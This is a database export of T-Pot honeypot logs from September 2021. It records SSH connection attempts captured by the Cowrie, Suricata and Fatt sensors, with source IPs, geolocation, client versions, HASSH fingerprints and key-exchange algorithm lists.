"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49994, "timestamp": "2021-09-20T11:08:26.966880", "@timestamp": "2021-09-20T11:08:26.966Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24077	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:27.242633+03	2021-09-20 14:15:08.3195+03	{"_id": "QwbkAnwBvYTbRNuEmBE8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2251348500966844, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49994, "dest_port": 22, "timestamp": "2021-09-20T11:08:27.242633Z", "@timestamp": "2021-09-20T11:08:27.242Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24371	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:50.346625+03	2021-09-20 14:15:08.69647+03	{"_id": "3gbkAnwBvYTbRNuE7xPO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "7c0494b9f2df", "@version": "1", "duration": 3.3768272399902344, "timestamp": "2021-09-20T11:08:50.346625Z", "@timestamp": "2021-09-20T11:08:50.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24078	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:08:27.962032+03	2021-09-20 14:15:08.321505+03	{"_id": "RAbkAnwBvYTbRNuEmBE8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 321772166281507, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44978, "dest_port": 22, "timestamp": "2021-09-20T11:08:27.962032Z", "@timestamp": "2021-09-20T11:08:27.962Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24079	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:27.794345+03	2021-09-20 14:15:08.322471+03	{"_id": "RgbkAnwBvYTbRNuEmREj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44978, "timestamp": "2021-09-20T11:08:27.794345", "@timestamp": "2021-09-20T11:08:27.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24080	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:14.067488+03	2021-09-20 14:15:08.3235+03	{"_id": "NQbkAnwBvYTbRNuEYhDV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 50 seconds", "session": "54b867fdbce6", "@version": "1", "duration": 50.35060715675354, "timestamp": "2021-09-20T11:08:14.067488Z", "@timestamp": "2021-09-20T11:08:14.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24081	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:14.145864+03	2021-09-20 14:15:08.324507+03	{"_id": "NgbkAnwBvYTbRNuEYhDV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "4e761ab8d828", "@version": "1", "duration": 120.00107383728027, "timestamp": "2021-09-20T11:08:14.145864Z", "@timestamp": "2021-09-20T11:08:14.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24082	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:14.906728+03	2021-09-20 14:15:08.3255+03	{"_id": "OQbkAnwBvYTbRNuEZhC-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e2315caec864", "@version": "1", "timestamp": "2021-09-20T11:08:14.906728Z", "@timestamp": "2021-09-20T11:08:14.906Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24083	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:17.14624+03	2021-09-20 14:15:08.3275+03	{"_id": "PgbkAnwBvYTbRNuEbhDB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:37916 (192.168.176.2:22) [session: 13492276f6cb]", "session": "13492276f6cb", "@version": "1", "protocol": "ssh", "src_port": 37916, "dest_port": 22, "timestamp": "2021-09-20T11:08:17.146240Z", "@timestamp": "2021-09-20T11:08:17.146Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24084	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:17.149252+03	2021-09-20 14:15:08.328497+03	{"_id": "RQbkAnwBvYTbRNuEbhDB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "13492276f6cb", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:17.149252Z", "@timestamp": "2021-09-20T11:08:17.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24085	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:17.422951+03	2021-09-20 14:15:08.329472+03	{"_id": "SgbkAnwBvYTbRNuEcRAl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 549538576223115, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37916, "dest_port": 22, "timestamp": "2021-09-20T11:08:17.422951Z", "@timestamp": "2021-09-20T11:08:17.422Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24086	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:17.474595+03	2021-09-20 14:15:08.33047+03	{"_id": "TQbkAnwBvYTbRNuEchAJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43498, "timestamp": "2021-09-20T11:08:17.474595", "@timestamp": "2021-09-20T11:08:17.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24087	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:23.445111+03	2021-09-20 14:15:08.332471+03	{"_id": "7QbkAnwBvYTbRNuEiRB_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54884, "timestamp": "2021-09-20T11:08:23.445111", "@timestamp": "2021-09-20T11:08:23.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24088	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:27.094728+03	2021-09-20 14:15:08.33347+03	{"_id": "SAbkAnwBvYTbRNuEmREj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48228, "dest_port": 22, "timestamp": "2021-09-20T11:08:27.094728", "@timestamp": "2021-09-20T11:08:27.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24089	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:14.019096+03	2021-09-20 14:15:08.33447+03	{"_id": "NAbkAnwBvYTbRNuEYhDU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 45 seconds", "session": "0b451abe3cec", "@version": "1", "duration": 45.91594576835632, "timestamp": "2021-09-20T11:08:14.019096Z", "@timestamp": "2021-09-20T11:08:14.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
